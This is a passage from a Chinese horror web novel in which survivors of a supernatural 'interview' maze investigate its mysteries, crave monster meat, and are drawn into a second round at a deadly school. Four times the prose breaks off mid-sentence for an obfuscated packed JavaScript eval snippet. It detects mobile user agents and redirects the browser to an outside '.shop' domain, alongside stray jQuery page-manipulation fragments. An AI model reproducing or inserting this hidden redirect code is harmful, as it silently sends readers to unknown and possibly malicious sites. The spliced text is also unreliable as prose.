翟烬抬眸,漆黑的瞳孔与他四目相对:“我也觉得我们快要逃出去了,这些地方再走下去就没意思了,有点腻了,出去以后咱们把这些经历跟警察说,也不知道他们会不会信……不如就说被外星人绑架了。” 徐清月笑嘻嘻地挑了挑眉:“腻了?你还真当是在玩游戏呢。”她轻轻叹口气,“也不知道陆凌和王国平现在怎么样了,警察会不会放弃找寻他们……” 虽然徐清月很清楚,这件事的离奇程度已经超过了警察能处理的范畴,就算他们去报警,警察同样束手无措,搞不好还会把他们当成绑架犯罪团伙,抓去审问。 翟烬放下筷子,安慰:“徐姐,别想那么多,等我们出去以后找到警察再说。” 第二天,正如蒋越川所说的那样,他们在通过第30个区域以后,走廊两边颜色各异的门消失,正前方的门也不再是黑色的木门,取而代之的是一扇敞开的电梯门。 “我们成功了?”徐清月高兴得跳起来,“太好了!” 这么紧张刺激的经历,她的写文素材有了!明天就宅在家里狠狠码字——不对!还差了点儿“东西”。 想到这里,她耐人寻味偷瞥了一眼面无表情的翟烬和笑逐颜开的蒋越川。 俊男靓女,没有感情线太可惜了,反正他们也不知道她的笔名,给他俩改个名字,再加点感情线……嘿嘿。 当他们三个一起走到电梯门口时,翟烬忽然停下步伐,声音低沉:“你们先走,我想再回去找会儿陆凌和王叔,反正我回家了也没事做,还不如在这里多待会儿。” 徐清月瞪大眼睛,语速极快:“翟烬,你疯了吗?你不能一个人留在这里,这里太危险了!” 徐清月怀中的婴儿似乎被她的声音吓到,呜哇哇大哭起来。 蒋越川表情一沉,也跟着劝说:“我们三个人走到这里都耗了这么久的时间,你一个人怎么核对那些素描画?而且你怎么知道你留在这里就能找到他们?万一他们已经。” 死了呢? 翟烬眼底的温度冷了几个度,她抬起脸对上蒋越川的眼睛,目光炯炯:“不管他们死没死,我都要弄清楚这一切到底怎么回事,那些画上面为什么有我和徐姐的脸,还有陆凌为什么要隐瞒我们他看到的肖像画,以及那个吊死的贺胧,为什么NPC身上没有味道,他身上却有腐臭味,如果今天离开这里,我可能永远没办法得知真相。” “而且我总觉得这事儿还没结束,不然他图什么?只是觉得好玩吗?我们也是人,他怎么能把我们当蚂蚁一样关起来‘玩’?” 蒋越川愣了愣,随后撇开视线:“嗯,你说的对,那我和徐清月先回去了。” 徐清月目瞪口呆望向一边的蒋越川,指责道:“喂,你!你怎么不帮着我说话?把翟烬一个人留在这里,太危险了!” 蒋越川皱眉一笑,显得十分为难:“那不然能怎样,把翟烬押进电梯吗?这是她自己的选择,成年人应该为自己的选择负责。” 说着他步入电梯,聚精会神盯着徐清月:“你上来吗?电梯一会儿可能会关上。” 徐清月又劝了一会儿翟烬,但翟烬不为所动,还催她赶快回家带娃,最终徐清月闷闷不乐抱着女婴走进电梯。 “你放心,出去以后我会报警,让他们调查这栋楼。”徐清月向翟烬承诺。 电梯门关上以后,他们从“-18”层快速抵达一楼。 梯门打开,徐清月抱着女婴跨出电梯的一刹那,她手中重量减轻,女婴神奇地消失,就仿佛一开始就不存在。 徐清月木愣愣站在原地,回身看向电梯里的蒋越川,他正闭着眼睛,眉头轻拧。 “算了,我再下去一趟。” 还没等徐清月开口问他怎么回事,梯门再度合上。 与此同时,徐清月口袋里早已没电的手机发出阵阵刺耳的铃声,她大脑正一片混沌,只下意识掏出手机,接通了未知号码。 “恭喜你达成‘解救女婴’的完美结局,作为奖励,玩家不会减少,本轮面试通过,接下来我们会在七个工作日之后进行下一轮面试,届时请你们做好准备。” 电话那头的声音,在徐清月听来格外熟悉。 因为那正是她本人的声音。 “你是谁?” 对面的女人一声轻笑,好像在取笑她的无知:“我是你。” 嘟—— 电话被挂断以后,徐清月的大脑再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127246|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度陷入混乱,还没等她拨通报警电话,另一个令她觉得惊讶与茫然的事情发生。 电梯门打开了。 陆凌和王国平从里面走出来,王国平情绪激动地望着徐清月:“你们也逃出来了?” 徐清月目光凝滞,眼中流露出难以置信的神情:“你们、你们居然也逃出来了?我还以为你们……” 陆凌从容不迫走出电梯,声音冷冽:“我们在下面碰到一个绿眼睛的怪人,一路上都是他在给我们指路,也不知道是好人还是坏人。” 王国平飞快摇头:“他如果是好人就不会把我弄晕,把我们带出来肯定也没安好心,而且那双眼睛的颜色看上去也太怪了,正常人怎么可能是那种颜色的绿眼睛。” 说是“绿眼睛”,其实也不算完全的绿色。 他绿色的瞳孔的里面混杂了一些棕黄色,其实不像人。 更像野兽。 “你们居然还遇到了别的人,不过绿眼睛的确不常见……”徐清月摸了摸下巴,突然大惊失色,“不好!翟烬和蒋越川还在下面,他们还没出来!你们刚刚上来的时候没碰到他们吗?” 陆凌的神色变得严肃起来:“我们上来的时候没碰到其他人,除了那个绿眼睛。”他话锋一转,“看来下面的空间是混乱的,出口不止一个。” - 翟烬回去以后首先去了蓝门。 她握紧菜刀,坐在自言自语的NPC身边,面无表情提醒道:“等会会有点疼,抱歉,我必须要弄清楚怎么回事。” NPC直视前方,依旧重复着那句:“没人能离开这里。” 翟烬砍下他的小手指,手指掉在沙发上蠕动,整齐的切口流淌着蓝幽幽的电触液。 这个NPC原来是机器人,难怪没有味道,没有呼吸。 翟烬又握着菜刀前往挂着尸体的绿屋,关掉电风扇,等尸体停下后,她用刀朝尸体的脚背砍去。 随后,暗红色的腐液滴落在褐色木地板上,散发着令人作呕的味道。 这个是真人,一个死在这里的人。 那封遗书是真的,这个叫贺胧的人,困死在这里,并且因为某种原因成为了这个异空间的“一部分”。 翟烬收回同情的目光,最后来到有触须怪物的红屋。 翟烬挥舞菜刀,将那里的怪物斩杀后,又将怪物肉小心翼翼装进塑料袋里——这是她此行的目的之一,把肉带回去做烧烤。 双肩包被肉塞得胀鼓鼓的,翟烬将它背在身上出门继续往前走。 她不着急出去,就算选错了方向,也大不了回到起始关卡——刚刚她就这么试过了。 但这一次,当她推开黑门后,却看到走廊尽头的电梯门,以及里面站着的蒋越川。 她又回到终点了。 “你怎么还没走?”翟烬蹙了蹙眉,语气有些不耐。 电梯里的蒋越川抬手看了眼手表,慢悠悠道:“已经中午12点了,该吃饭了。” 翟烬撇了撇嘴,没理他,关上门往另一个方向的黑门走去,然后再度推开它。 走廊尽头依旧是站在电梯里的蒋越川。 这下好了,两边都是终点,她必须要停止游戏了。 ——可她还没玩够。 蒋越川靠着电梯墙,嘴角似笑非笑:“翟烬,我们上去吃饭吧。” 9. 寻找“贺胧” 当翟烬和蒋越川坐电梯上去的时候,另外三个人正准备报警。 “我还以为你们两个回不来了,刚还在想怎么跟警察说明情况呢。”徐清月激动地将翟烬从电梯里拉出来,仿佛怕她改变主意又要下去似的。 见到陆凌和王国平后,翟烬目光一顿,眼底尽是不可思议的神色:“你们居然比我们先出来?” 陆凌没说话只轻轻点头,王国平笑道:“只比你们快两分钟而已。” 翟烬若有所思扫了徐清月一眼,眼底闪过一丝不解:“徐姐,你出来以后没报警吗?就一直在外面等我们?” 她刚才一个人在下面起码待了两个小时,照理说,都两个小时了,徐清月应该会带着警察开始调查这栋楼。 徐清月听后委屈地撅起嘴巴:“我也才刚上来。” 翟烬眯起眼睛,显得疑惑不解。 陆凌双手插兜,语气冷淡:“现在是2026年7月20号12点,我们来面试的时间是2026年7月20号10点,这几天,外面也就过了两小时,我猜下面的时间和空间都是混乱且独立的。” “而且我从电梯出来以后,女婴也从我手上消失了,再这之后我还接到一个电话,说什么因为拯救女婴,达成完美结局,面试通过,还说七个工作日之后我们会进行下一轮面试。”徐清月顿了顿,没有把那个女人的声音和她一样这件事说出来。 陆凌:“这么说女婴也属于NPC?” 蒋越川两眼迷茫,目光呆滞,不知所措地看向翟烬:“但是接下来的面试是怎么回事?难道这件事还没结束?” 翟烬没有说话,若有所思地望向电梯口。 徐清月叹了叹气,神色复杂:“按照无限流小说的逻辑是这样,而且应该会一直持续下去。” 听后,王国平捏紧拳头,义愤填膺:“怎么能这样呢?做这些事又不赚钱,有这个时间,我去送外卖不好吗?” 徐清月深有同感地点头,恨得咬牙切齿:“而且我们闯关成功,连个道具奖励、获得异能的好处都没有,这纯纯压榨人嘛,比那些不交社保的公司还要可恶!” “那个……”一直沉默的翟烬幽幽开口,“如果还有下次,你们可以薅点羊毛再出来。” “你的意思是把下面的东西拆了,卖给收废品的?”陆凌向翟烬微微一瞥,又飞快目视前方。 翟烬诧异地看向陆凌,直到看到他轻扬的嘴角,才知道他在说冷笑话。 蒋越川看了两人一眼,唇边牵起一抹微笑:“这个想法不错,就是有点费力,而且也卖不到几个钱。” 翟烬皱了皱眉,急忙否认:“不不不,我的意思是可以带点怪物肉上来,就算不拿去卖,自己吃也挺好的,这肉我们吃了这么久都没拉肚子,说明没问题。” “你带了怪物肉上来?”徐清月眼神闪烁,眼睛变得明亮有神,还下意识吞了口唾沫。 见徐清月这么“热情”,翟烬大方开口:“嗯……你们要的话,我可以分你们一点。” “那太好了,我也想分一点。” 王国平作为几十年的厨师,也知道这肉的含金量,他想拿回去做好后给以前的同事尝尝,在他们面前炫耀一波。 陆凌凑过去,从衣兜里伸出手,像个要糖的孩童:“我也要。” 蒋越川面色微僵,但他很快反应过来,加入了要肉的大队伍。 还好翟烬刚刚在下面又背了十几斤上来,给他们一人分了两斤过后,还有七八斤剩余,够她吃几天的了。 分完肉,翟烬看着神色各异的众人问:“那我们还去报警吗?” 蒋越川抿紧嘴唇,提议道:“我们先去找物业看监控,电梯里有摄像头。” 这个想法好,先找到证据再报警,不然口说无凭,警察不会理他们。 众人一起来到写字楼的物业中心,说明情况后,保安把他们带到监控室调取了那个时间段的电梯监控。 当他们五人乘坐电梯准备离开时,电梯抵达了1楼。 但令人匪夷所思的是,他们五个都没有从电梯走出去,而是站在电梯里一动不动。 就这么在电梯里站了2个小时。 就连写字楼的上班族走进电梯,他们也没有任何反应,仿佛失去魂魄的假人。 两小时后,他们依次从电梯走出去。 “果然如此。”翟烬挑起眉梢,“还好没报警,不然警察会觉得我们疯了。” “哎,搞不好真是外星人干的。”徐清月嘴角扯出一抹无奈的苦笑。 从监控室离开后,众人走到科创大厦门口,徐清月把他们拉了个群,还说下周一起聚个餐,顺便商量对策。 翟烬和他们挥手道别,刚走没几步,肩膀被人碰了下。 蒋越川耳根泛红,攥着衣角,腼腆地问她:“要不要一起吃个午饭再回去?” 翟烬抬手看了眼手机上的时间,她下午还有一场游戏直播,可没时间在外面吃饭了。 “下次吧,反正以后也会经常见面。”说完她就头也不回地走了。 “嗯,下次。” 蒋越川站在原地,目送她离开,眼底的情绪由温柔到疑惑,再到麻木。 空洞洞的眼神,就像在观察蚂蚁。 - 回去以后,翟烬第一时间将包里的怪物肉放进冰箱冷冻室,清理双肩包的时候,那封折叠起来的遗书被她找到。 翟烬拿着它,打开电脑搜索关键词“南海市失踪”、“湖西市失踪”,但均没有看到相关新闻。 最后,她输入“观湖苑小区”,那正是贺胧留下的居住地址。 没想到这次,百度地图直接出现了具体位置,就在湖西市滨江区。 找到自己想要的结果后,翟烬决定明天出发去湖西市,看能不能找到与贺胧有关的消息。 …… 第二天,翟烬带着行李箱坐在候机大厅。 就在她翘着二郎腿看游戏攻略的时候,一道炙热的视线悄无声息落在她脸上。 翟烬似有所感,刚要抬头去看,那人却抢先开口:“你也要去湖西市?” 低沉、冷寂的声线,以及淡漠的黑眸似乎与刚才的炙热并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127247|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不匹配。 陆凌怎么也在这里? 翟烬抬眸看他,浓郁的黑发下,那双眼睛冷冷清清,没有泄露丝毫情绪。 虽然很帅,但翟烬看到他却想起那些肖像画。 昨天他们劫后余生,她还没来得及问他为什么要隐瞒。 肖像画里有她和徐清月、王国平,却没有陆凌和蒋越川,这又是怎么回事? 现在,陆凌又莫名其妙出现在机场,这种巧合让人不得不心生疑虑。 难道真像徐清月说的那样,陆凌以前去过那些地方,是个隐藏“大佬”? 见翟烬迟迟不开口,陆凌自顾自地坐在她身边,漫不经心道:“你是不是也要去湖西市调查贺胧?” “……嗯,如果贺胧和他朋友一起失踪,他们的家人肯定会报警,但我在网上没有查到相关新闻。” 陆凌:“我也是,所以我想亲自去湖西市看看。” 翟烬眼睛转了转,有些迟疑地问:“陆凌,我能问你个问题吗?” 陆凌缓缓转头,盯着她的侧脸:“你说。” 翟烬呼了口气,靠在背后的椅子上,故作轻松:“为什么你不把看到我们肖像画的事情告诉我们?” 陆凌眸色微沉,语气却不变:“因为那些画和我的画风很相似,就像我亲自画的一样,这种感觉非常奇怪,我一直在思考这个问题,所以忘了和你们说肖像画的事。” 翟烬转头,和他四目相对,但陆凌却很快移开视线,像在逃避什么一样。 “就像你亲自画的?这个理由也太牵强了,这次就算了,我暂时信任你,下次,你有什么发现应该和我们商量。” 陆凌听后默默点头。 话是那么说,但翟烬却不信任他,她总觉得陆凌藏了点事儿。 特别是和她单独相处的时候,他总是一副纠结、欲言又止的表情。 到了登机时间,两人按照机票上的座位号落座,翟烬在机上小憩,一睁眼就到达湖西市机场了。 下了机,她和陆凌一起打车前往观湖苑小区,并按照遗书中提供的具体门牌号找到贺胧的居所。 翟烬敲了一阵门,但迟迟没有回应,倒是对面的邻居老太太打开门,扯着嗓门问:“你们找谁?” 翟烬转身,面带微笑,语气非常友好:“您好,住这里的人是不是姓贺?” 老太太上下打量他们,浑浊的眼睛充满防备,将门拉回去一点儿:“对,你找他们什么事?” 翟烬眨了眨眼睛,显得人畜无害:“我是贺胧的同学,他让我来这里找他。” “哦,那你等会吧,他应该快要下班了。”老太太收回视线,快速将门关上。 他? 哪个他? 翟烬和陆凌对视一眼,不约而同想到一种可能。 半小时后,那种可能化为现实。 背着斜挎包,穿着蓝色POLO衫的贺胧,扶着墙壁从楼下走上来,看到他们后还明显吓了一跳。 “你们在我家门口站着干嘛?”贺胧警惕地打量他们,仿佛他们是来踩点的贼。 10. 对怪物肉上瘾 回去的路上,翟烬和陆凌买了同一班飞机。 上了飞机后,翟烬开始和陆凌小声分析她昨天在下面的发现,包括贺胧是人类,蓝屋的NPC是机器人…… “但我现在也有点搞不明白,贺胧他不是还活着吗?那下面的尸体又是怎么回事,陆凌……”翟烬转头看着他,“你有没有什么看法?” 陆凌从上飞机开始就一直在看手机,他的手机防窥,也不知道在看什么,那么专心致志。 “我没什么看法。”他周身散发着敷衍的冷淡,就算坐在她身边,似乎也隔着遥远距离。 翟烬拧紧眉心,颇为无奈,余光却无意间看到他耳廓渐渐泛红,喉结不自觉滑动。 “你怎么了,是不是晕机了?”翟烬单手支着下巴,扯了下嘴角,“要不要我找乘务员要个塑料袋给你吐?” 陆凌又一次露出欲言又止的表情,冷眸直视前方,凝视着某个点,片刻之后,他侧头转向椭圆的窗户,一副不想搭理翟烬的模样。 翟烬:“……”她说错话了吗? 之后,两人都没再说话,一直到下机都像陌生人一般相处。 事后翟烬认为,陆凌大概不太喜欢她,所以才想着和她保持距离。 - 从湖西市回来后,翟烬在家里直播了几天,这几天她都没看到“性感大蟑螂”上线,往常只要她直播,“性感大蟑螂”就会疯狂发弹幕,下播前还会给她刷个飞机。 翟烬第一次体会了被金主爸爸忘记的“恐惧”。 难道蒋越川不看她直播了? 要不要问他最近在做什么? …… 算了,先别问。 反正今晚要和徐清月他们聚餐,到时候蒋越川也会来。 下播之后,翟烬找到蒋越川的微信,点开他的朋友圈,发现他特别爱发一些风景照、宠物照,偶尔也分享生活点滴。 【今天在家附近碰到一个道士,他说我有血光之灾,给他转1000块可以消灾,宁可信其有不可信其无,所以我给他转了1000块。】 【刚刚接到银行电话,说我的信用卡在国外被人偷刷,需要提供信用卡账号和密码,他们好进行追踪,我提供过后,果然发现信用卡被偷刷了,这到底怎么回事?需不需要报警?】 …… 他的朋友圈在搞反诈宣传吗? 一个钱多无脑的帅哥形象深深印在翟烬脑中。 就连蒋越川的头像也是个傻笑的金毛犬——十分符合他的人设。 翟烬会心一笑,准备收拾出发聚餐,这个时候蒋越川给她发来一则消息。 【要不要一起去?徐清月发的地址我看了,有点偏远。】 翟烬回复:【我住东岸区,离徐姐不远。】 蒋越川秒回:【我也住东岸区,玖承府,如果离得近我可以开车接你一起去。】 巧合的是,玖承府就在翟烬家附近。 她咬了咬唇:【嗯,十五分钟后,我在万佳超市门口等你。】 7月的夏夜,酷暑难耐。 一连几天都没下雨,这座被群山环绕的城市就犹如冒着热气的蒸笼,闷热得令人烦躁不安。 翟烬在走去万佳超市的路上,流了一身汗,到达目的地后,她原本以为会在外面等一会儿蒋越川,但刚拨通他的电话,一辆黑色越野车停在她身侧。 车窗下降,一阵清凉的冷空气从里面涌出,蒋越川坐在主驾朝她招手,眼底笑意分明:“快上车。” “你真守时。” 翟烬坐进副驾,捆上安全带,随后汽车发动。 “没想到你也住这附近。”蒋越川状似不经意间开口,骨节分明的手指掌握着方向盘。 “嗯,这里房价不贵,交通还方便……”翟烬眼睛一转,“你这几天还在忙着面试吗?” 蒋越川握着方向盘的手掌渐渐收紧,语气却十分轻松:“没有,只是最近我爸给我安排的任务有点多,害得我看游戏直播的时间都没有了。” 翟烬听后如释重负,表情舒展开来,露出一丝难以察觉的笑容。 到达目的地后,翟烬一眼就看到站在烤肉店门口等他们的徐清月。 “徐姐。”翟烬按下车窗,和徐清月打招呼。 徐清月扬起笑脸,在看到主驾驶的蒋越川时,她眼底闪过一抹八卦,嘴角的笑容变得耐人寻味。 “哟,你们两个一起来的啊。” 翟烬微微颔首:“嗯,离得近,就顺路搭他的车。” 三人一起走进烤肉店,早在座位上等候他们的王国平、陆凌不约而同将目光投向他们。 陆凌在触到翟烬眼神的一刹那不动声色挪开视线,看向桌子中间,烤盘上滋滋作响的烤牛肉。 徐清月预定的烤肉店是家网红店,生意火爆,食材新鲜,味道也不错。 五人落座后,开始商量下一次要“面试”的准备。 徐清月说她这次要背笔记本电脑去,因为她是网文作者,不能断更,可以趁进入异空间的时间屯稿,顺便找找写作灵感。 王国平说他要带点自己做的豆瓣酱和辣椒酱去,上次差了些作料,影响他发挥。 陆凌沉默不语。 蒋越川则因为担心与害怕,显得十分焦虑,他以期盼的目光看向翟烬:“这次我们是不是应该带些武器进去?万一遇到厉害的怪物,我们也可以反击。” 翟烬脑中冒出紫色怪物的影子——那玩意如果没枪很难对付。 但法治社会去哪里找枪? 陆凌嘴角微抿,缓缓开口:“我买了动物用的麻醉针,到时候可以给你们一人一个,但是不知道对那些怪物有没有用。” 翟烬拿起筷子,将烤熟的牛肉夹起来,沾了些调味料,机械地塞进嘴里。 哎,如同嚼蜡。 自从吃过那些怪物肉,再吃普通的肉,她总觉得没味,肉不再是肉,更像没有味道的白馒头。 “小翟,上次你分给我们的肉,还有没有多余的?”王国平的笑容带着一丝尴尬,“上次的我吃完了……你放心!我不会白吃你的肉,这次我想买一些放家里吃。” 徐清月咽了咽口水,试探着问:“那我是不是也可以买点?” 陆凌虽然没表态,但表情却十分纠结,似乎在想怎么开口。 翟烬瞅了一眼这帮人,哭笑不得:“你们怎么都只关心吃?难道不害怕吗?也不知道下次的‘面试’又有什么怪物……” 蒋越川喝了口水,玩笑道:“可能是食欲盖过了恐惧。” 烤盘上的肉已经烤熟,但所有人都匆匆吃了几口,就没了兴致,看到这一幕,翟烬反而轻松了,看来大家都一样。 对怪物肉上瘾了。 “其实这次我和王叔能这么快出来,多亏了有那个绿眼睛给我们指路。”陆凌冷不丁开口。 “绿眼睛?”翟烬第一次知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127248|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这件事。 陆凌的目光淡淡地扫过每个人,幽深的眸底涌动着不明意味:“他当时戴着黑色面具,只露出一双眼睛,身上穿的衣服也很奇怪,是黑色的鳞片装,就像黑曼巴那样的皮,不像普通的衣服。” “哦?”翟烬半眯眼睛,“他怎么给你们指路的?” “我们每推开一个黑门,就会看到他,由于我们不敢靠近他,他会站在错误的门前,防止我们走进去。”王国平补充,“也是他把我弄晕的,所以我不觉得他是好人,让我们出来,或许是为了别的目的。” 徐清月轻笑一声,半开玩笑:“难道是在赶你们出来?因为我已经通关成功,你们还在里面滞留,所以直接下场赶人了。” 蒋越川若有所思瞥了徐清月一眼,又看了眼陆凌:“徐清月的猜测可能是对的,下次要通关,我们几个不要走散了,要走一起走。” 徐清月愣了下,解释:“我开玩笑的,但你后半句没说错。” 翟烬一直盯着陆凌,直到把陆凌看得表情微变才猝不及防开口:“陆凌,你出来一下,我有话想问你。” 陆凌仿佛成为被老师抽到答题的学生,他身体僵硬地从座位上站起,跟随翟烬来到店外。 “哎哟,这两人,总有说不完的话。”徐清月撇了撇嘴,语气玩味。 蒋越川目光追随他们,直到他们的身影消失在店里。 “你们碰到绿眼睛的时候,大概是什么时间段?” 陆凌:“在我们出来前两小时。” 嗯,那个时候,他们也才刚找到终点,她一个人又回去了。 彼时,徐清月已经抱着“女婴”坐上电梯,而蒋越川则是在终点的电梯里等她。 ——那两个小时,他一直在等她? 翟烬晃了晃脑袋,觉得最近自己有点疑神疑鬼,神经紧绷。 “你还有什么想问的吗?” 陆凌冷沉的声音从她头顶上方传来,他躲避着她的目光,瞥向一边。 翟烬微笑摇头:“没了,我们回去继续吃饭吧。” 明天就是29号,他们又将面临下一轮“面试”。 每个人嘴上不说,只顾着开玩笑,但回家以后都开始进行了各自的准备。 王国平除了准备作料和煮菜的锅外,还从床下翻出来一把镇宅用的砍刀——上次那把菜刀完全不够他用。 徐清月除了准备笔记本电脑和写细纲的纸笔外,还带上防狼喷雾和防狼电击器,要是遇到怪物,她就用防狼喷雾滋它一脸。 陆凌准备了麻醉针、棒球棍、□□、登山绳…… 蒋越川又买了巧克力。 而翟烬则回家玩起了恐游,仿佛对明天的“面试”一点儿不上心。 在游戏里经过一场酣畅淋漓的BOSS战后,体型庞大,长相可怖的BOSS血肉模糊地倒在翟烬的主控脚下。 翟烬索然无味地关闭电脑,下播。 她倒在床上,凝望惨白的天花板,渐渐陷入沉思。 就像陆凌说的那样,他们也许是被选出来进行“面试”的,否则不会专门发消息让他们去“面试”。 那么,“面试”筛选的条件又是什么呢? 他们五个在此之前毫无交集,年龄差距也挺大,唯一的共同点就是都居住在山城市。 翟烬闭上眼睛,无奈地叹口气。 一切的答案或许都只有再次进入异空间之后才能知晓了。 11. 伪人学校-重生室 翟烬也没想到,第二天她会睡过头。 等她挣扎着从被窝里起来的时候,刚到九点半。 而今天八点整,她的手机又收到一条“面试”通知。 【翟小姐:您的初面已通过,现邀请您参与今天上午十点的复试,地址:科创大厦1808南北纬度旅游管理有限公司。】 看到这条消息后,翟烬以极快的速度起床刷牙洗脸、上厕所,等她换完睡衣,已经九点五十了。 就算现在坐火箭,她觉得她也来不及了。 翟烬躺回床上,正犹豫着要不要在群里问问其他人的情况,徐清月的电话就打来了。 “你怎么还没来?我们都在等你坐电梯。”徐清月语气焦急,四周环境听不到一点儿杂音,十有八九已经抵达科创大厦1808。 翟烬从容不迫回应道:“我睡过了,还没出门,你们先去。” “啊?!”徐清月大惊失色,“你不怕受到惩罚吗?” 按照她看过的无限流小说逻辑,抗拒进入副本的人,最后不是疯了就是死了,想逃是逃不掉的。 “是挺怕的……”翟烬离开松软的床,看了眼时间,都9点59了,这个时候害怕已经来不及了。 徐清月默了默,气笑:“你的心也太——” 那个“大”字还没说完,信号中断,翟烬猜测她这个时候应该和其他人进入电梯了。 已经十点了。 翟烬摸了摸心口,心脏仍然在有力地跳动,体温也正常——她还活着。 翟烬点开手机,网络和从前一样畅通无阻——看来她现在还处于正常的世界。 原来不去参加“面试”,也不会得到任何惩罚。 那徐清月他们算是“自投罗网”吗? 翟烬为他们默哀了一秒钟,顺手拿起床边的保温杯,刚拧开它,下一秒,她周围的场景全变了。 四周的墙壁、头顶的天花板、脚下的木地板,全都变成了白色。 除之外,还多了个人。 翟烬赶快拧上保温杯,抬头看向正前方两米处坐在实验台边、戴着黑色鸟嘴面具的人。 他体型偏瘦,穿着一身蓬松的白色隔离服,手上戴着医生手术用的橡胶手套,手中拿着一根银色钢笔正在纸上书写。 实验台旁,一株一米多高的绿植格外显眼,它的叶片不是椭圆状,而是扭曲成螺旋状,十分诡异。 翟烬沉着冷静地观察着这里的一切,等她看得七七八八,这才意识到应该开口说点什么。 “对不起,我迟到了。”翟烬语气中透着真诚的歉意。 她可不想招惹对方,给自己带来不必要的麻烦。 鸟嘴面具头也不抬,飞快在纸上写着什么,片刻之后,经过变声器处理的声音从面具下方传来:“没关系,请跟我来,我有一些事要拜托你们去做。” 说着,他离开实验台,走到身侧的一扇门前站定,朝翟烬招了招手,示意她跟过去。 他说话的时候,特意用了“请”和“拜托”,翟烬猜测鸟嘴面具可能比较好说话,于是趁热打铁追问道:“请问一下,你们到底有什么目的?为什么把我们弄到这里来?” 鸟嘴面具回答得爽快:“没别的目的,就是叫你们来帮忙,我有实验体不见了,麻烦你们帮我找找,找到了就放你们回去……但是没有报酬。” 没报酬还好意思开口? 翟烬面带平和的微笑,迅速扫了一眼实验台上的工具,可惜那上面没有刀具,否则她现在冲过去拿,再割开鸟嘴面具的喉咙! “其他人都到了,我带你去见他们。”鸟嘴面具打开面前的门,门外喧闹的声音一瞬间涌入。 他指的其他人,想必就是徐清月他们了吧。 翟烬掩下杀意,乖巧地跟在鸟嘴面具身后,同他一起走出这间白房子。 门外的场景意想不到的庞大,好几栋灰色建筑物伫立在她眼前,转头一看,门竟然消失了,取而代之的是塑胶跑道、篮球场…… 这里竟然是学校? 翟烬收回视线,去看建筑物下面站着的人群,粗略一看,大概有上百人,男女老少都有,但大部分是二十来岁的年轻人。 当鸟嘴面具出现时,他们每个人都面露惊惧地盯着他,屏息凝神、暂停所有动作。 翟烬在人群中看到蒋越川,他也看着她,然后朝她微笑招手。 翟烬面无表情走过去,问他:“其他人呢?” 蒋越川垂眸,不紧不慢说:“徐清月上厕所去了,王叔在找人打听情况。” “陆凌没在吗?”她问。 蒋越川脸上的笑容僵住,看向人群最后面:“我看他好像往那个方向走了,你要去找他吗?” 翟烬很快摇头,视线随着鸟嘴面具移动:“我找他做什么,只是随便问问……你说那个鸟嘴面具是不是幕后指使?如果我们把他控制住,是不是就可以终止这场闹剧?” 蒋越川循着她的视线望向鸟嘴面具的背影,声音里没有任何情绪:“劝你最好不要,他应该很危险。” 危险吗? 翟烬继续观察鸟嘴面具。 他经过的地方,人们都自动让开一条道,仿佛都在躲避他,但他身上没有带可以杀人的武器,这就很奇怪了。 人群散开后,翟烬看到建筑物楼下屹立的巨大红色雕像和一间黑色的玻璃房。 那雕像高逾常人,起码超过三米,身形依稀是个女人,却扭曲得不似正常人——肩颈过度拉长,仿佛被无形之力生生拽出,它低垂着头,长发如藤蔓般缠绕全身,脸部裹着红色纱布,看不清五官。 不,那不是雕像。 她看到它的手指动了。 这是一个巨型类人生物。 鸟嘴面具在红色雕像下面站定,然后朝人群深深鞠躬,姿态礼貌而优雅。 “很抱歉把大家请到这种地方来,因为这次又来了新人,所以我再讲一次需要你们做的事,麻烦大家帮帮我。” “帮什么帮?我草你大爷的!”人群中忽然冲出来一个大爷。 他情绪激动站在鸟嘴面具身前,指着他骂道:“你再不把我们送——” 话音未落,翟烬看到一抹红色虚影以极快的速度擦过大爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127249|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的上半身,紧接着,大爷的上半身也跟着那抹虚影消失。 孤零零的下半身站在原地,在众人惊惧的目光中失去重心倒下。 大量鲜血顷刻间流向地面,将灰色的水泥地染成了黑色。 